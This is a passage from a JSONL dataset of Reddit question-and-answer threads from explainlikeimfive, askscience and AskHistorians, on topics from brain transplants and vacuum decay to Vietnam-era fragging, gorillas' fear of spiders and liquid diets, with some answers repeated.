transplant, because other organs usually fail from old age before the brain.\n\nThe biggest obstacle would be somehow attaching all the afferent and efferent nerves (all the neurons which send info from the body to the brain and send commands from the brain to the body) up to the brain such that they still worked properly.  We really have no way of forming those connections, and even if we did, it's very likely that they would not convey information in exactly same way across individuals, so the signals you got even if they were connected would probably be nonsensical.\n\nIf you could somehow attach all the nerves and train them to communicate with the new brain properly, the primary obstacle remaining is organ rejection by the immune system (I rank this as the secondary problem because we're closer to solving it, but it would definitely cause death very quickly if not addressed). ", "Here's a big issue (one of many): Neuron bodies and CNS axons don't regenerate, so if you plopped a brain down in the clone's cranium, the connections wouldn't form between the brain stem and the spinal cord, so pesky little things like breathing, muscle and organ control, and what have you wouldn't be possible. Another issue: We're not THAT good at cloning.", "Please excuse another dumb question from me, but what is the biggest problem that prevents us from performing a brain transplant? \n\nWhy is it currently impossible to do?\n\nEdit: sorry, there is an explanation in the comments I missed.", "The biggest obstacle would be the objections of the 18 year old.\n(In all seriousness, though- you can't just scoop somebody's brain out, clone or not. This is not a trivial ethical problem. It may be \"your\" clone  in the sense that you created it from your genetic material. But it's not your property.)", "Wouldn't this actually be a total body transplant since the brain makes us who we are?", "First, the clone would die of old age. Our DNA has telomeres at the end of it, and every time your DNA is copied for a new cell, these telomeres shorten, which is theorized to be somehow related to aging (the idea is that one these telomeres get too short, they can no longer work as protective caps on the DNA so it won't copy anymore and that cell has effectively died). Since a clone comes from a cell from the 52 year old body, in 18 years though the clone body will be 18, the cells will have telomeres the length of a 70 year old's.\n\nWith the brain itself, this problem likely wouldn't be quite as dramatic, because neurons divide much more slowly than the rest of the body, and so the brain's cells probably aren't physically nearly as old as any other cells in the body. If you could indeed transplant a brain, it may be able to outlast many bodies (robot bodies, anyone?).\n\nThough the brain is covered by an outer layer that is connected to the inside of the skull at a few points to keep it from sloshing around too much, the biggest obstacle to moving it from body to body would be the spinal cord. With today's technology, it is impossible to reconnect that many nerves accurately, not to mention that the surgery would take so long that the brain would die- it wouldn't be a surgery like a heart transplant. We can reconnect things like the tips of fingers and have decent success in attaching enough nerves and muscles and blood vessels to allow it to work, but we aren't advanced enough for brains.", "The brain would still die of old age, but not as quickly as without the transplant, because other organs usually fail from old age before the brain.\n\nThe biggest obstacle would be somehow attaching all the afferent and efferent nerves (all the neurons which send info from the body to the brain and send commands from the brain to the body) up to the brain such that they still worked properly.  We really have no way of forming those connections, and even if we did, it's very likely that they would not convey information in exactly same way across individuals, so the signals you got even if they were connected would probably be nonsensical.\n\nIf you could somehow attach all the nerves and train them to communicate with the new brain properly, the primary obstacle remaining is organ rejection by the immune system (I rank this as the secondary problem because we're closer to solving it, but it would definitely cause death very quickly if not addressed). ", "Here's a big issue (one of many): Neuron bodies and CNS axons don't regenerate, so if you plopped a brain down in the clone's cranium, the connections wouldn't form between the brain stem and the spinal cord, so pesky little things like breathing, muscle and organ control, and what have you wouldn't be possible. Another issue: We're not THAT good at cloning.", "Please excuse another dumb question from me, but what is the biggest problem that prevents us from performing a brain transplant? \n\nWhy is it currently impossible to do?\n\nEdit: sorry, there is an explanation in the comments I missed.", "The biggest obstacle would be the objections of the 18 year old.\n(In all seriousness, though- you can't just scoop somebody's brain out, clone or not. This is not a trivial ethical problem. It may be \"your\" clone  in the sense that you created it from your genetic material. But it's not your property.)", "Wouldn't this actually be a total body transplant since the brain makes us who we are?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2o3b75", "title": "why do people enjoy lists so much?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2o3b75/eli5why_do_people_enjoy_lists_so_much/", "answers": {"a_id": ["cmjbixv", "cmjbonf", "cmjbtkc", "cmjcot8", "cmjcqvf"], "score": [2, 5, 5, 6, 2], "text": ["may be slightly off-topic but i make to-do lists to feel like im being productive, when really im just thinking about being productive and doing shit all", "Lists are pretty much the ultimate TL; DR. People on the interwebs are some lazy people.", "1. they look nice\n\n2. everything is better when in \"list form\"\n\n3. *totally ran out of ideas*\n\n4. profit", "Lists actually can be a very efficient way to present information, but they can also be used for trivial purposes as you mention.  Many people are interested in trivia, however.  Affluent people have the luxury of indulging in such things.", "Maybe people feel more accomplished when they read bullet-point factoids as a list instead of reading an article and getting the facts for themselves.\n\nLike reading spark notes instead of reading a book."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2fy8z6", "title": "If the universe were to undergo \"catastrophic vacuum decay, with a bubble of the true vacuum expanding at the speed of light\", would that bubble be able to reach points in space that are expanding faster than the speed of light? [Article in description]", "selftext": "Article: _URL_0_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2fy8z6/if_the_universe_were_to_undergo_catastrophic/", "answers": {"a_id": ["cke30su"], "score": [7], "text": ["Anything moving from a point at a constant velocity (in this case, c) cannot catch up to anything moving from that point that is moving at a rate equal to or in excess of said velocity. Not only would a metastable vacuum event fail to reach any part of space already moving away from it in excess of c, it wouldn't catch up to the light leaving the planetary system it happened in."]}, "title_urls": [], "selftext_urls": ["http://www.livescience.com/47737-stephen-hawking-higgs-boson-universe-doomsday.html?cmpid=514627_20140908_31244556"], "answers_urls": [[]]}
{"q_id": "1vovic", "title": "It's 1940, a lovely day in England and I want to call/write my German cousin. Was that possible? What was international communication between the civilian populace of warring WWII powers like?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1vovic/its_1940_a_lovely_day_in_england_and_i_want_to/", "answers": {"a_id": ["ceug4tp", "cev0e99", "cev3hwz"], "score": [531, 3, 6], "text": ["Yes. You would have written and addressed the letter normally, then enclosed it in another envelope addressed to [Thomas Cook](_URL_0_), Box 506, Lisbon, Portugal. See Appendix 3 of [this philatelist monograph](_URL_1_), with more information.", "Still no answer on whether you could make a phone call across borders?", "It was possible to contact civilians and military personnel in occupied Europe and elsewhere via the International Committee of the Red Cross (ICRC). According to the 1929 Geneva Convention (which was an ICRC initiative), persons in belligerent countries could send a message to their family member via their national Red Cross Society to the ICRC in Geneva. The Red Cross messages were an international legal arrangement and they provided a format for these contacts. The ICRC contacted the national Red Cross Society in the enemy country and passed on the message to the national HQ. On their turn the national Red Cross Society contacted the family members. In the same way the ICRC was the main provider of information on POW's and enemy soldiers who were killed in action.    "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Thomas_Cook_%26_Son", "http://www.canadianpsgb.org.uk/PDF/Air%20Mail%20Covers%20from%20Canada%20to%20Overseas%20Destinations%201.pdf"], [], []]}
{"q_id": "1dfri4", "title": "Which religion founder has the most accepted contemporary historical documentation?", "selftext": "I have always been curious about this, as I was 'raised' Christian and started actually reading the Bible and started to poke holes into the historical elements of it, such as the near twenty year gap from when Jesus was in Egypt to when he reappeared in Judea. And the estimated century between his death and the eventual writing and collating of the Bible. As an amateur historian this seems a bit off to me, so I was wondering:\n\n1. Has this bothered anyone else about Jesus? AND\n\n2. Which founder of a religion or philosophy has the most amount of recognized historical evidence to their actual existence, and who has the least?\n\n(E.g. figures such as Confucius and Buddha are acceptable, but figures like Zeus would be a bit far.)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1dfri4/which_religion_founder_has_the_most_accepted/", "answers": {"a_id": ["c9pv7ul", "c9pw5he", "c9py3l0"], "score": [8, 6, 9], "text": ["Have you perused our [popular questions about the historicity of Jesus](_URL_0_) lately?", "Well, if I can give an answer that will help you refine your question a bit, I think we have rock-solid evidence that L. Ron Hubbard existed. \n\nI think you need to think about how you're defining 'religion' and how you're defining 'founder\" with this question, and maybe re-ask it. Joseph Smith is the founder of the LDS church, but do you consider Mormonism a religion, or is it still just \"Christianity?\" Zeus is a deity, but I've never heard him called a founder, the Buddha could be argued as both (but I suspect the good people over at /r/Buddhism would disagree with calling him a god big time). ", "Seeing your other post, I'll do a quick rundown on ones I am familiar with, and can expand on any you want me to:\n\nAbraham: Mythological (by which I mean there is no reliable reason to suspect his existence)\n\nMoses: Mythological\n\nKrishna (kind of a founder?): Mythological\n\nJudah Maccabee: Historical, reasonably accurate recounting of deeds\n\nSiddartha Gautama (Buddha): Probably historical, poor recounting of deeds\n\nConfucius: Almost certainly historical, *Analects* is a reasonably good recounting of deeds, everything else isn't\n\nLao Tzu: Uncertain, all deeds ahistorical\n\nMo Tzu: Historical, deeds semi-historical\n\nJesus: Almost certainly historical, basic outline probably largely historical\n\nMuhamed: Historical, accurate recounting of deeds\n\nXuanzang: Fictional, but based off historical figure of same name\n\nAll Greek philosophers are historical with accurate recounting of deeds except the Sevem Sages, who are historical with variably accurate recounting of deeds."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/religion#wiki_did_jesus_exist.3F"], [], []]}
{"q_id": "5839li", "title": "A recent post mentioned incidents of American soldiers \"fragging\" their own officers during the latter years of the Vietnam War. Just how widespread was this? Why?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5839li/a_recent_post_mentioned_incidents_of_american/", "answers": {"a_id": ["d8xdput", "d8xe38y", "d8xfro2"], "score": [7, 4, 277], "text": ["Follow-up question: Were any serious measures taken to combat this?  Beyond the usual consequences that is.", "Previous thread on this subject:\n\n_URL_0_", "\"Fragging\", or the attempted injuring or killing of one's own officer(s) and NCOs, is definitely one of those things that sticks in people's minds about the Vietnam War. Pinning down an exact number of fragging attempts is nearly impossible. There were likely attempts which failed and no one knew, attempts unreported, and successful ones that were not identified as such. Estimates for incidents seem to vary, but the most cited places it at 800 fragging incidents for the period of 1969-1972, with the height in 1971, where there were 1.8 assaults with explosives on officers per 1,000 servicemen in theater. Some go higher, but certainly less than 100 officer/NCO deaths are attributed to suspected fragging incidents. Whether or not you consider that to be widespread is, I guess, a matter of perspective, but it certainly fits within the popular image of the military in Vietnam and the breakdown of discipline and morale that captures the popular imagination.\n\nAs for the why, motivations vary from incident to incident. The minority of cases were 'lone wolves', some single soldier who acted on his own. In a study done shortly after the war on the American combat soldier, these incidents, which were estimated as making up 20 percent of fragging attempts, were described as follows:\n\n > Such individuals developed a diffused resentment against the whole military system rather than toward a specific person\u2014though a particular noncom or officer might come to represent symbolically the system. These were cases in which the perpetrator was likely to be personally unbalanced or psychologically disturbed at the time he resorted to violence. In this type of fragging no collusion with others is involved, little if any warning is given, the lethal instrument is usually one's personal weapon, happenstance often determines the ultimate victim, and the culprit makes little effort to hide his identity.\n\nI'll share one interesting incident I found of this nature, the attempted murder of Lt. Col. Donald Bongers by S. Sgt. Alan Cornett, as, while not a prototypical incident, it provides some excellent quotations. Cornett wasn't a draftee, or even a basic grunt. He had served over six years in Vietnam by the time of the 1972 incident, and was a Special Forces medic. He and Bongers had been at loggerheads for some time as Cornett was married to a local woman, which the LTC disapproved of, referring to Cornett's wife as a \"prostitute\" and preventing her from coming onto their compound. \n\nNov. 30, 1972, Bongers gave Cornett a dressing down and relieved him from duty for drinking while on radio watch. In his 'hootch', Cornett got roaringly drunk, and decided simply that \"*I was really tired of the bullshit, and I told them [the investigators] he was an asshole who deserved to die*.\" He described the next step to the investigators thus:\n\n > I kept looking at it and wondering if it was worth it . . . I took the tape off from around the grenade, pulled the safety pin, walked over to the commo bunker, stood there for about fifteen minutes deciding if I should kill him or just throw a scare into him. I decided not to kill him, but to scare him. I threw the grenade down the steps of the bunker . . . I stayed there until the smoke cleared.\n\nalthough interestingly in writing about the incident later, he gave a very different recollection:\n\n > In a cold killing rage, I went to my hootch and grabbed a grenade, walked back to the bunker the XO was in, pulled the pin on the grenade, threw it into the bunker, closed the bunker door, and started back to the hootch. As I was walking back, I heard the explosion of the grenade.\n\nNot immediately caught, he essentially turned himself in when another soldier was accused, although in dramatic fashion by grabbing his M16 and stating \"if that is what LTC Bongers thinks, then I\u2019ll kill him for sure.\u201d He was found to be in possession of .16 grams of heroin when arrested, although he denied it was his at trial. Interestingly, at trial he brought in numerous character witnesses to describe him as a good soldier, and paint Bongers as a racist asshole who treated Cornett unfairly, and even more amazingly, his sentence was only a year hard labor with no pay, and reduction to lowest enlisted rank. He was given the chance to join the U.S. Army Retraining Brigade at Leavenworth, and was allowed to reenlist, apparently retiring as an E-8 after 20 years service. An incredibly atypical case, in its result, but again, insightful into the mind of the soldier at the time.\n\nThe majority of fraggings were coordinated within a small group of soldiers, usually motivated by some perceived transgression against the 'group integrity' represented by the officer, and unlike the happenstance aforementioned, usually conducted with preplanning while in camp. A Leeroy Jenkins type LT, whose men felt was reckless and put their lives at risk, might be targeted, although it was more common to see fraggings perpetuated by support troops than combat infantry. Likewise an officer who was too much of a disciplinarian, such as enforcing military anti-drug regulations, might also incur the wrath of his men. Some cases were driven by racial motivations, usually African-American soldiers seeking retribution against a superior who was considered to be racist. Unlike the 'lone wolf' operator though, the perpetrator was often not clear, and would remain at large, obscuring the precise motivation of a given incident, not that people weren't willing to guess. \n\nIn the cases where the perpetrator was captured and their motives discovered, it is notable that there was often a confluence of reasons. While in most cases, the perpetrator had had a negative confrontation with their target within the past few days - whether a feeling of being 'scapegoated' for some offense, or dissatisfaction with their roles in the unit - it was the group environment that could help push them to retaliate after whatever perceived slight had sparked them. And while \"insensitivity to the frustrations of the men\" was the most common reason given, \"boredom, monotony, and inactivity\" was often cited as a motivating factor in moving from mere grumbling to action. \n\nRegardless of whether part of a group action, or singular motivation, nearly ninety percent of 'fraggers' caught were found to be on drugs or drunk when doing the crime, and it was often men with slim prospects. In his study of convicted 'fraggers' done just after the war (although he doesn't provide too much detail, it seems that they were disproportionately of the 'lone wolf type', and Dr. Bond himself cautions that the fact these men were caught is itself an important variable), Dr. Thomas C. Bond described the typical example as:\n\n > men [who] had experienced rejection and disappointment throughout their lives and demonstrated a low tolerance for frustration when their underlying dependency needs were not met. They were largely loners, having few friends, and often expressed feelings of inadequacy and anxiety in groups. These men viewed enlisting in the Army either as a way of escaping from problems at home that they were unable to resolve or an attempt to prove their masculinity and independence. When the military failed to meet their expectations, they became more despondent, focusing the reasons for this failure on external authority figures.\n\nFew of the men were draftees, and more likely they had volunteered for the military expecting something different which never materialized, hoping to escape their neglectful childhoods and failures in adolescence, only to be again disappointed with military life.\n\nWhile methods of course varied, the most common image, I would venture, is that of the grenade rolled into an officer's tent - from which \"fragging\" gets its name (and fragging generally excludes the use of knives, and sometimes guns, in many definitions). With the pin still attached, it could be done as a warning - and with the pin out, of course, done with lethal intent. With most fragging incidents not even resulting in injuries, it is likely that warnings - with a dud, an intentional miss, or leaking out information such as a 'bounty' placed on their head - were more common than lethal intent, but regardless, it presented a public relations problem for the US military. It was impossible to prevent reporting on \"assault with explosives\", so the best they could do was damage control, stressing that \"in the majority of cases the intent was to intimidate or scare\". The race angle was also heavily played up in the media, which the Army PR men also worked to downplay.\n\nNow of course, warning or not, it was certainly something to worry about for the officers themselves, especially those on the 'frontlines'. Captains were the most likely target in the officer corps, and First Sergeants singled out among the NCOs most often. The former was generally seen as the 'on the ground decision maker', as opposed to some fresh-faced LT, while the later was the NCO most visible in controlling the day-to-day. So I would again refer back to the beginning, and note that 'widespread' is perhaps a matter of perspective, but it was certainly more common than in previous wars, and later wars, and it was something officers had to be wary of to some degree, although there is little to indicate that the fear of fragging had any notable effect on how officers conducted themselves, generally. Either way though, the US military absolutely saw an uptick in fragging during the war in Vietnam."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://m.reddit.com/r/AskHistorians/comments/25vkqw/how_often_were_us_officers_in_the_vietnam_war/?sort=confidence&amp;utm_source=mweb_redirect&amp;compact=true"], []]}
{"q_id": "27wrzn", "title": "why do big game developers and publishers not listen to their community and continue making mistakes?", "selftext": "A lot of game developers and publishers, including Electronic Arts and Ubisoft, continue making mistakes they made in the past, and dumb down a lot of their games from their original look. Two examples could be Watch_Dogs, which looked very nice at E3, and Battlefield 3, which also looked really good in the Fault Line trailer. Whilst their game communities try to convince them otherwise, they continue. Why is this?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/27wrzn/eli5why_do_big_game_developers_and_publishers_not/", "answers": {"a_id": ["ci54tl7", "ci54xbk", "ci54ycz", "ci5507b", "ci55kpw", "ci55l10", "ci55p73", "ci564vt", "ci5670h", "ci582o6", "ci582p4", "ci597e8", "ci5an5o", "ci5ibsd"], "score": [76, 15, 16, 3, 34, 2, 8, 11, 3, 6, 3, 4, 2, 2], "text": ["Because they still make money regardless of how many mistakes they make. Despite all the disappointment with those games, they still sold millions of copies.", "When you are watching these trailers, it is often not the complete version of the game (or sometimes, not even real in-game footage - but prerendered crap instead)\n\nAs the game becomes more complete, it is sometimes realized that they need to remove some of the fluff in order to compensate for the resources that the additions are consuming.", "The ultimate goal for big game developers and publishers is to make profits to appease their shareholders.\n\nThe quality of the game doesn't matter if they are getting sales.\n\nFrom the view of management, they are seeing record number of pre-orders and sales. Since most game sales are upfront (excluding free to play and MMO subscriptions), there is generally no profit in supporting a video game or listening to the community after it is released since their next iteration will be released the next year. Therefore tools to generate community like modding tools and private servers are not considered at all.", "Thank you for the answers, people! ", "The community doesn't have a unified opinion. It's chaotic and depends on what subdemographic you ask. Then there's the argument that people do not necessarily know what's best.", "Because the part of the community who actually speaks to the developers is just a tiny fraction of the whole community. Developers and publishers want for their game to be as mainstream as possible, so they think that listening a few people on the official forum won't really matter.\n\nThe footage in the trailers is made so that people buy the game, not to rapresent the real product... but I suppose their aim isn't allways just to decieve: they could honestly believe to be able to get those performances also in a live game, and then discover that most computers wouldn't be able to run it. Or that adding the same details to all the aspects of the game wouldn't be cheap.", "One thing that hasn't been mentioned yet is that the community often doesn't know what it wants.  You'll have one group crying for more realism, another complaining about too many cutscenes, and a third wanting more relatable characters.\n\nThe worst situation is when you have two large groups with opposing desires, e.g. the \"More Realism\" group versus the \"Less Punishing Gameplay\" one.  Developers who try to please everyone are going to end up pleasing no one.  That risk is why big studios tend to make the same games over and over again which they know will sell, rather than trying to change something in a way that might be better, but could also be terrible.", "I have two points here, from the perspective of a developer. \n\n* Demos and especially preview clips, often depict a tiny fraction of the game, developed to a quality that would be unsustainable for the entire project - they're not just hastily thrown together \"here's what we have so far\" type things; people focus on them specifically, and make them look good in ways they simply couldn't for the entire product. Basically, they're separate deliverable from the final product, often with a splinter team working on them, so their quality isn't a very good indicator of the quality of the product overall. \n\n*  Software engineering projects are *notoriously* difficult to manage. From the management's point of view, they're balancing cost, time, potential sales and user satisfaction. In an ideal world, potential sales and user satisfaction would be inseparably linked, but they're not. So, when development slows, and people start missing deadlines  (which happens for a billion different reasons, I could write a book on that alone!)  they have to make sacrifices on the other ends of the scale - spend more(hire more developers, throw money at the blockers, promise bonuses etc)? Lose sales (by pushing back the delivery dates, lowering quality expectations, etc)? Lose User satisfaction (by delivering a product under quality, by removing complexity and 'dumbing down', by sticking to what they know and releasing the same game with new guns etc) \n\n", "I think it's 50% them not giving a shit about us and 50% our demands don't work in reality. ", "Don't assume that Reddit/the internet = everyone.\n\nFor every person on Reddit screaming about something there are probably 5+ people who don't care/like whatever the one user is complaining about.  Companies know this (they have the number to prove it) so they can ignore some users if they aren't a large enough % to affect sales.\n\nAdditionally, many of these complaining users are also \"hardcore\" fans of the game.  That means they'll buy it anyway.  Every time EA does something everyone on reddit says \"I'm boycotting EA\" and then the game comes out and EA sells millions of copies.  \n\nThat kind of mixed message encourages companies like EA to ignore places like Reddit.  ", "Developers will follow the market so if it sells well they will continue to produce similar content, people don't like change(true of most things in life) and not everyone that plays games talks about them online. \n\nEdit:A word", "its a collective experiment to see how dumb the american consumer actually is", "Think of it like Apple and its updates and new releases of iPads iPhone and all the iBullshit. They likely have the technology to do some incredible things but won't release it all in one update or new product. If they gradually make it a little bit better over time, people will buy all of the new versions. Its a money grab.", "Because people buy everything Ubisoft, EA and Activision make no matter how disappointing they are or how deceptively they are advertised. Why put in extra effort when you'll make just as much money either way?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "dqf2dx", "title": "When an object absorbs a liquid, is energy lost?", "selftext": "[deleted]", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/dqf2dx/when_an_object_absorbs_a_liquid_is_energy_lost/", "answers": {"a_id": ["f646vfv", "f66u34i"], "score": [55, 11], "text": ["You have to expend energy to get the towel dry again, either by wringing it out or by heating it. So it's not reversible. The water soaked up by the towel is in a lower energy state than free water due to surface interactions/capillary action.", "A lot of surface area of towel is coated with water, causing a lowering of the total energy in the system (since towel+water is lower energy than the initial towel+air and water+air interfaces). \n\nThen you have to expend energy to remove the water again, putting the towel at a slightly higher energy state again."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3mb39d", "title": "when and why did united states presidents transition from accomplished war veterans to people with no military background at all?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3mb39d/eli5_when_and_why_did_united_states_presidents/", "answers": {"a_id": ["cvdj3jk", "cvdj6gc"], "score": [16, 6], "text": ["You realize that the second president of the US, John Adams had no military background? Neither did Thomas Jefferson? It's always been the case that the person best suited for the job may be someone who wasn't a career military officer, but spent more time as a lawyer or legislator. ", "Your perception is mostly shaped by World War II. Between Truman and Clinton, *every president served in the military during World War II.* Why? Well, most Americans in the right age group did.\n\nCompared to earlier presidents, this is an anomaly. Of course there are war heroes to be found (Washington, Grant, Jackson, Theodore Roosevelt), but there were plenty of people with no military background. And consider that in 2008 we almost elected Vietnam veteran John McCain. So really, the trend isn't that strong one way or the other."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8f6wzw", "title": "Are wild gorillas afraid of spiders?", "selftext": "Thank you everyone for the amazing answers!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8f6wzw/are_wild_gorillas_afraid_of_spiders/", "answers": {"a_id": ["dy1jwvr", "dy1q8eb", "dy1ri2z", "dy1sd1o", "dy2jw3m", "dy2xebj"], "score": [512, 2, 488, 1540, 18, 2], "text": ["[Yes, they can be](_URL_0_)", "Not sure this is allowed, but here is an archived post on a similar topic. This is the most relevant comment I've seen so far for snakes: \n\n_URL_0_", "A lot of people have noticed the missing comments.  For some reason a very large number of comments were very short one-liners or speculative or allegorical or jokes or off-topic, so they were removed by various moderators.  At the time of posting I'm not sure if this comment will stay up either, but I thought I'd give it a shot and try to explain.", "The simple answer is: **it depends, but probably, yes**.\n\nProblem is, no lab experiments of gorillas + spiders show up. \n\nOur next best bet is by inference: evidence of similar 'fears'\nCarel Van Shaik (a famous primatologist) argues that [having 'fears'  like arachnophobia and ophidiophobia would be adaptive](_URL_0_) (e.g., you avoid, you live and make babies vs the fearless dead). In the period 50 [MYA](_URL_1_) to 1MYA, were spiders enough of a threat that fearing them would benefit you? Some researchers argue \"yes.\"\n\n**But how do we fear such threats?**\nI think this is the more interesting question. I noticed that in certain parts of Europe and the Galapagos, birds that are elsewhere skittish are shamelessly tame. Regarding most \"ancient fears,\" It seems we are **hard-wired to respond to templates and certain movements**. [Babies and Rhesus monkeys shown videos of snakes recognize them much much quicker than other objects](_URL_2_). This ultra-rapid recognition is important as it suggests the recognition machinery resides somewhere in our lower,  \"[lizard brain](_URL_3_)\". Patterns in our lower brain are more immediate and we learn from them faster than patterns we store in our cerebral cortex (I'm oversimplifying here to keep this explanation from being 10 pages).\n\nSo this suggests we are not programmed to fear, but are programmed from deep in our 'lizard brains' to react quickly to certain movements (darting, slithering, jumping) and to certain templates (lots of legs or no legs) very fast. For gorillas, this would suggest **gorillas that didn't see spiders growing up would not fear them, but could quickly learn to fear them if some big bad spider creeped up to them**.", "There are a lot of comments conflating snakes and spiders in this thread (even many of the sourced comments). There are very few spiders that are dangerous to gorillas (I'm basing this off spiders venomous to humans, I have never seen a report of a gorilla suffering from a spider bite), and from a quick search, I can't find any significant venomous spiders that share their range with gorillas. While widow spiders are in Africa, black widows do not appear to be present in areas wild gorillas are found. Brown widows, which are very docile and [unlikely to inject appreciably dangerous venom](_URL_5_), [may be within gorilla ranges](_URL_0_). For that reason, I would be surprised if wild gorillas have a developed fear of spiders. It's also worth noting that spiders may be a normal part of a gorilla diet. [Chimpanzees and gorillas both eat a wide variety of insects](_URL_2_), and while gorillas have not been reported to eats spiders in literature (in my brief look) chimpanzees certainly have, and there are many anecdotal reports of a variety of monkeys and apes eating spiders. \n\nI am highly suspicious of the idea that snakes and spiders can be conflated, due to their significant differences in risks. There are many [many more dangerous snakes than spiders](_URL_3_), and [humans overestimate how dangerous spiders are, and how often they bite](_URL_1_). \n\nEdit: Added some extra links and fixed some grammar. Let me know if these sources aren't good enough, there are plenty more where they come from.\n\nAnother edit: Compared to spiders, snakes are well known to attack and harm primates, especially baby primates. A quick google search will pull up both venomous and nonvenomous snakes attacking various primates [(here's a video of some even)](_URL_4_)", "Semi-relevant study on 6 month old babies who could not yet have learnt to fear spiders(/snakes):\n\n[Results support the notion of an evolved preparedness for developing fear of these ancestral threats.](_URL_0_)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/askscience/comments/16xgl9/are_our_closest_primate_relatives_as_scared_of/"], ["https://www.reddit.com/r/askscience/comments/16xgl9/are_our_closest_primate_relatives_as_scared_of/c80ebw3/"], [], ["https://books.google.com/books?id=3oCbCgAAQBAJ&amp;lpg=PR13&amp;ots=2r7lXEmesn&amp;dq=%20gorilla%20arachnophobia%20evolution&amp;lr&amp;pg=PA28#v=onepage&amp;q=arachnophobia&amp;f=false", "https://en.wikipedia.org/wiki/Year#Mya", "http://www.psy.cmu.edu/~rakison/Infant_Cognition_Lab/publications/LoBue,%20Rakison,%20&amp;%20DeLoache%20\\(2010\\).pdf", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4406946/"], ["https://entnemdept.ifas.ufl.edu/creatures/URBAN/SPIDERS/brown_widow_spider.htm", "https://www.ncbi.nlm.nih.gov/pubmed/10673460", "https://www.ncbi.nlm.nih.gov/pubmed/17902166", "https://en.wikipedia.org/wiki/Category:Snakes_of_Africa", "https://www.youtube.com/watch?v=E1zHKmMNTg4", "http://spiders.ucr.edu/brownwidow.html"], ["https://www.frontiersin.org/articles/10.3389/fpsyg.2017.01710/full"]]}
{"q_id": "e7dymc", "title": "why can't we survive on shakes/supplements?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e7dymc/eli5_why_cant_we_survive_on_shakessupplements/", "answers": {"a_id": ["f9y7wzl", "f9y82y3"], "score": [5, 2], "text": ["You can. Who says you can't? This is the entire principle behind [Soylent](_URL_0_)\n\nThere are a few problems with this approach. It's generally more expensive. It lacks variety. Supplements are not as well regulated as food by the FDA.", "You can survive. But a liquid diet is going to give you the runs. Your body is designed for solid food since that's what your ancestors ate and have evolved into. \n\nSince liquids pass quicker your stomach would constantly be empty giving you a feeling of hunger and your stomach acid having nothing to digest would dissolve your stomach lining causing ulcers.\n\nYour calorie intake would be perfectly fine though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Soylent_(meal_replacement\\)"], []]}
{"q_id": "m8te4", "title": "Could you create a controlled-gravity environment and if you could would it be possible to train in higher levels of gravity and be less affected by Earth's gravity?", "selftext": "So pretty much, can you do what they did in Dragon Ball Z to get stronger?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/m8te4/could_you_create_a_controlledgravity_environment/", "answers": {"a_id": ["c2z08rc", "c2z0k79", "c2z19rd", "c2z5p7g", "c2z08rc", "c2z0k79", "c2z19rd", "c2z5p7g"], "score": [10, 3, 6, 2, 10, 3, 6, 2], "text": ["You have a few options, all of them ridiculously expensive:\n\nA centrifuge.\n\nA really powerful elevator in a really tall building with good brakes at the top.\n\nA quickly accelerating train.\n\nA quickly rising airplane or rocket ship.\n\n", "Re-stating the question as follows:\n\nConstruct a large toroidal centrifuge large enough to live and exercise in.\n\nBuild it, say, 30 meters in radius, designed to produce a combined force of two G's.\n\nLive, work, and exercise in this environment for a prolonged time.\n\n.\n\nWill this be effective?", "An important thing you would have to address in this scenario is the long-term effects of heightened gravity, even simulated heightened gravity, on your body, specifically your circulatory system and skeletal structure.  \n\nIf we take a look at astronauts who after returning from long space-flight are taller and at a greater risk for cardiac complications due to the heart becoming weaker as a result of not having to work as hard to pump blood in low/no gravity, we have to assume that exerting too many Gs continuously on your body would have a similar detrimental effect.", "Borrow Gokus spaceship.", "You have a few options, all of them ridiculously expensive:\n\nA centrifuge.\n\nA really powerful elevator in a really tall building with good brakes at the top.\n\nA quickly accelerating train.\n\nA quickly rising airplane or rocket ship.\n\n", "Re-stating the question as follows:\n\nConstruct a large toroidal centrifuge large enough to live and exercise in.\n\nBuild it, say, 30 meters in radius, designed to produce a combined force of two G's.\n\nLive, work, and exercise in this environment for a prolonged time.\n\n.\n\nWill this be effective?", "An important thing you would have to address in this scenario is the long-term effects of heightened gravity, even simulated heightened gravity, on your body, specifically your circulatory system and skeletal structure.  \n\nIf we take a look at astronauts who after returning from long space-flight are taller and at a greater risk for cardiac complications due to the heart becoming weaker as a result of not having to work as hard to pump blood in low/no gravity, we have to assume that exerting too many Gs continuously on your body would have a similar detrimental effect.", "Borrow Gokus spaceship."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
